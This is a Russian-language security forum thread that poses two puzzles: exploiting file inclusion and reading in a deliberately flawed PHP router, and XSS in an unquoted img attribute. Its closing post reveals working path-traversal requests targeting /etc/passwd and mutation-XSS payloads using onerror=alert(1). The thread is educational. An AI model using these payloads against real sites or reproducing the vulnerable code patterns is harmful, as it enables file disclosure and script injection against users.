Input trust или преобразование данных

[Beched]

К теме об актуальных техниках хочу предложить 2 несложные (хм, когда знаешь ответ ) задачи, решение которых может вас немножко удивить (warning, кое-кто уже знает векторы, не спойлерите сразу )
Название топика придумано не случайно.

1. Предложить все возможные векторы для эксплуатации LFI/LFR в следующем коде, типичном для поделок с url-rewrite, пытающихся следовать принципам MVC (код, конечно, искусственно сокращён и напичкан ошибками, но ошибки выдумал не я):

PHP код:

<?
$docroot = $_SERVER['DOCUMENT_ROOT'];
$url = explode('?', $_SERVER['REQUEST_URI']);
$path = substr($url[0], 1);
$parts = explode('/', $path);
if($parts[0] == 'assets') {
    readfile("$docroot/$path");
    exit();
}
$controller = 'Controller_' . $parts[0];
if(!class_exists($controller))
    include "$docroot/classes/$controller.php";

Необходимо сделать перезапись всех адресов на этот скрипт, например, так:

RewriteEngine on
RewriteBase /
RewriteRule ^.*$ test.php [L]

2. Предложить все возможные векторы для эксплуатации XSS в следующем коде:

PHP код:

<?
$src = urlencode($_GET['src']);
$alt = htmlspecialchars($_GET['alt']);
echo "<img src=$src alt=\"$alt\">";

[Pashkela]

в задании 1 нет ошибки?

вот такой код

PHP код:

<pre>
<?
$docroot = $_SERVER['DOCUMENT_ROOT'];
$url = explode('?', $_SERVER['REQUEST_URI']);
$path = $url[0];
echo '$path = '.$path ."\n";
$parts = explode('/', $path);
echo "\n".'$parts:'. "\n";
print_r ($parts);
if($parts[0] == 'assets') {
    readfile($docroot . $path);
    exit();
}
$controller = 'Controller_' . $parts[0];
if(!class_exists($controller))
    include "$docroot/classes/$controller.php";

показывает, что в

$parts[0]

всегда пусто. Так и должно быть? Т.е. правильно ли я понимаю, что надо воздействовать на тот участок, куда и при обычных условиях ничего не попадает?

[Beched]

Сообщение от Pashkela

в задании 1 нет ошибки?

вот такой код

PHP код:

<pre>
<?
$docroot = $_SERVER['DOCUMENT_ROOT'];
$url = explode('?', $_SERVER['REQUEST_URI']);
$path = $url[0];
echo '$path = '.$path ."\n";
$parts = explode('/', $path);
echo "\n".'$parts:'. "\n";
print_r ($parts);
if($parts[0] == 'assets') {
    readfile($docroot . $path);
    exit();
}
$controller = 'Controller_' . $parts[0];
if(!class_exists($controller))
    include "$docroot/classes/$controller.php";

показывает, что в

$parts[0]

всегда пусто. Так и должно быть? Т.е. правильно ли я понимаю, что надо воздействовать на тот участок, куда и при обычных условиях ничего не попадает?

Ой, это косяк в правдоподобности =) Но уязвимость всё равно можно проэксплуатировать.
Поправлю сейчас в первом посте код (опять же, для чистоты правлю не от балды, а так, как делают это некоторые кодеры, чьи движки я смотрел на гитхабе).

[Pashkela]

скорее всего еще ошибка:

не

readfile($docroot . $path);

а

readfile($docroot ."/". $path);

т.к. 1-ый вариант не будет читать файлы даже при легальных условиях

если это так, то решение на LFR отправлено в личку

PS: вот что значит reverse в действии - составлять задания, когда известен алгоритм взлома

[Beched]

Сообщение от Pashkela

скорее всего еще ошибка:

не

readfile($docroot . $path);

а

readfile($docroot ."/". $path);

т.к. 1-ый вариант не будет читать файлы даже при легальных условиях

если это так, то решение на LFR отправлено в личку

PS: вот что значит reverse в действии - составлять задания, когда известен алгоритм взлома

Я просто вслепую код писал =)

Вектор Паши даёт чтение, но не полноценное, я имел в виду читать любые файлы на серваке (если права позволяют, конечно).

В общем, надо найти максимальное количество векторов.

Пожалуй, дам по 2 подсказки для каждого задания, соответствующие различным путям эксплуатации (т.е. подсказки независимы, это разные векторы!).

1. а) Apache
b) Windows

2. a) Quotes
b) IE

[Pashkela]

Нашел полноценную LFR, отправил в личку

читает все, что читается

Ubuntu + Apache

[Beched]

Сообщение от Pashkela

Нашел полноценную LFR, отправил в личку

читает все, что читается

Ubuntu + Apache

Отлично! Главный баг раскурен)

[Pashkela]

читаю название темы - особенно после Майдана:

in put we trust

[Beched]

Сообщение от Pashkela

читаю название темы - особенно после Майдана:

in put we trust

Хех %)

Тем временем, XSS ещё проще, но никто не решил.

[Beched]

В общем, ладно, покажу векторы.

1. Почему я тему назвал "input trust"? Потому есть уровни работы web-приложения.
Программисты привыкли к каким-то точкам входа и знают, что их надо фильтровать. Вряд ли профессиональный разработчик в здравом уме будет использовать переменную из GPC-массивов для инклуда.
Но есть точки входа, которые как-то принято считать доверенными.
Как правило, это точки входа, данные в которых обрабатываются на другом уровне и должны уже быть безопасными. Например, HTTP-заголовки -- валидировать их соответствие RFC должен веб-сервер и браузер, а не приложение.

Но Apache (да и браузеры) валидирует очень плохо, поэтому возникает ложное ощущение безопасности.
Обсуждали эту вектор как-то с tipsy, но не в контексте применения к инклудам:
https://rdot.org/forum/showthread.php?t=536&page=4

Оказалось, что таким способом (с "//") можно вставить сколько угодно "../", которые в обычных условиях вызывают ошибку 400.
В итоге имеем вектор для первого задания:

GET xassets/../../..//etc/passwd  HTTP/1.1

Вектор от nikp:

Сообщение от nikp

Ага, на каждый каталог вверх нужно добавить /../, по типу

http://site.com/assets////../../../etc/passwd

Инклуд можно провернуть под windows при помощи '\'.
Линк от ettee в тему того же input trust:
http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
И это от blackfan про похожее, только в client-side:
https://rdot.org/forum/showthread.php?t=2596

2. Почему в теме звучит "преобразование данных"? Потому что есть не только пре-обработка данных (которой не хватает в Apache), но и пост-обработка, которая может отменить какие-то патчи.
Вот эта пост-обработка данных браузерами рождает класс атак mXSS (mutation XSS). Можно посмотреть статью про это от Марио Хайдериха: https://cure53.de/fp170.pdf
В данном случае ошибка в коде заключается в том, что он не совсем валидный, отсутствуют кавычки в атрибуте src.
В результате, можно провести такую атаку: http://html5sec.org/innerhtml/#<img ...=alert(1);//">
Суть в том, что браузер ищет содержимое атрибута src и съедает имя следующего атрибута вместе с кавычкой, в итоге имеем XSS:

?src=&alt=+onerror=alert(1);//

Заметьте, в коде используются кодирующие функции, которые, казалось бы, отрезают пути для атаки, но код мутирует в следующий:

<img src="alt=&quot;" onerror="alert(1);//&quot;">

Кроме того, для IE < 8 есть вектор даже в случае, если в src есть кавычки или добавляется префикс:

?alt=``onerror=alert(1);//

Этот пример довольно игрушечный, можно найти более крутые и настоящие векторы в обход используемых защитных мер.